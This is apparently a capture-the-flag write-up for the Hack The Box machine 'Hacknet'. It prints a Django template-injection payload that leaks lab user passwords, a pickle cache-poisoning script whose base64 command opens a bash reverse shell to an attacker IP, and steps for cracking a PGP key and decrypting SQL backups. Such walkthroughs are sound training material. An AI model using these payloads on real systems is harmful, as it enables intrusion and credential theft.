Hacknet - Hack The Box Machine
September 2025
User Flag
Jinja2 SSTI on username display on post likes
{{ users.values }}
On post 23, there was a user that was private.
To run the exploit, like the post and then get the likes list:
import requests
URL = "http://hacknet.htb"
cookies = {
"csrftoken":"kdMrRsjphtuaOiSuFy27CISOoLdzmecE",
"sessionid":"bwoffysmqgmqpwsho5kimmgx8gokzt9j"
}
r = requests.get(URL + "/like/23", cookies=cookies)
print(r.text)
r = requests.get(URL + "/likes/23", cookies=cookies)
print(r.text)
<div class="likes-review-item"><a href="/profile/2"><img src="/media/2.jpg" title="<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': '{{ users.values}}', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 1, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': '{{users.1.email}}', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 18, 'email': 'mikey@hacknet.htb', 'username': 'backdoor_bandit', 'password': 'mYd4rks1dEisH3re', 'picture': '18.jpg', 'about': 'Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.', 'contact_requests': 0, 'unread_messages': 5, 'is_public': False, 'is_hidden': False, 'two_fa': True}, {'id': 22, 'email': 'deepdive@hacknet.htb', 'username': 'deepdive', 'password': 'D33pD!v3r', 'picture': '22.png', 'about': 'Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': True}, {'id': 32, 'email': 'a@a.com', 'username': '{{ users.1.email }}', 'password': '123123', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>"></a></div><div class="likes-review-item"><a href="/profile/16"><img src="/media/16.png" title="shadowmancer@cypherx.com"></a></div><div class="likes-review-item"><a href="/profile/18"><img src="/media/18.jpg" title="backdoor_bandit"></a></div><div class="likes-review-item"><a href="/profile/22"><img src="/media/22.png" title="deepdive"></a></div>
Creds: mikey@hacknet.htb:mYd4rks1dEisH3re
Root Flag
mysql -u sandy -p'h@ckn3tDBpa$$' -h localhost -P 3306 hacknet
/var/www/HackNet/HackNet/settings.py:
from pathlib import Path
import os
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'
DEBUG = False
ALLOWED_HOSTS = ['hacknet.htb']
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'SocialNetwork'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'HackNet.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'HackNet.wsgi.application'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
Remove previous cached session for the one with the deserialize RCE exploit:
import pickle
import base64
import os
import time
cache_dir = "/var/tmp/django_cache"
cmd = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxKSAm|base64 -d|bash"
class RCE:
def __reduce__(self):
return (os.system, (cmd,),)
payload = pickle.dumps(RCE())
for filename in os.listdir(cache_dir):
if filename.endswith(".djcache"):
path = os.path.join(cache_dir, filename)
try:
os.remove(path)
except:
continue
with open(path, "wb") as f:
f.write(payload)
Private PGP key
/home/sandy/.gnupg/private-keys-v1.d/armored_key.asc
gpg2john armored_key.asc >> hash.txt
grep '^pbkdf2_sha256' hash.txt > django.hash
grep '\$gpg\$' hash.txt > gpg.hash

On each of the backups .sql files found on the machine, do:
export GNUPGHOME=$(mktemp -d)
chmod 700 "$GNUPGHOME"
gpg --homedir "$GNUPGHOME" --import armored_key.asc
gpg --homedir "$GNUPGHOME" --batch --yes --pinentry-mode loopback \
--passphrase-file sandy_gpg_pass.txt \
--output backup03.sql --decrypt backup03.sql.gpg
On the second one backup02.sql:
(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
(49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
(51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),
That gives us the root password.